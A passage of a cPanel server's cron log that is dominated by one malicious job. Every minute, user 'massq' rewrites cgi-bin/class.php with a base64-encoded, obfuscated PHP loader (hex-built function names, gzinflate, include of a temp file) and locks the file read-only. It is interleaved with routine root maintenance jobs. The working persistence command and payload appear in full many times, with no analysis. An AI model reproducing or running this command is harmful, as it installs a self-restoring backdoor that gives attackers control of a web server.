/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:44:01 server CROND[20725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:45:01 server CROND[20783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:45:01 server CROND[20784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:45:01 server CROND[20785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:46:01 server CROND[20889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:47:01 server CROND[20960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:47:01 server CROND[20959]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr 10 02:47:49 server crontab[21232]: (root) LIST (root)
Apr 10 02:47:49 server crontab[21234]: (root) LIST (root)
Apr 10 02:47:53 server crontab[21333]: (root) LIST (root)
Apr 10 02:48:01 server CROND[21619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:49:01 server CROND[22054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:50:01 server CROND[22113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 02:50:01 server CROND[22114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:50:01 server CROND[22115]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 02:50:01 server CROND[22116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:50:01 server CROND[22120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:51:01 server CROND[22248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:52:01 server CROND[22312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:53:01 server CROND[22384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:54:01 server CROND[22437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:55:01 server CROND[22492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:55:01 server CROND[22493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:55:01 server CROND[22494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:56:01 server CROND[22693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:57:01 server CROND[22810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 02:57:01 server CROND[22811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 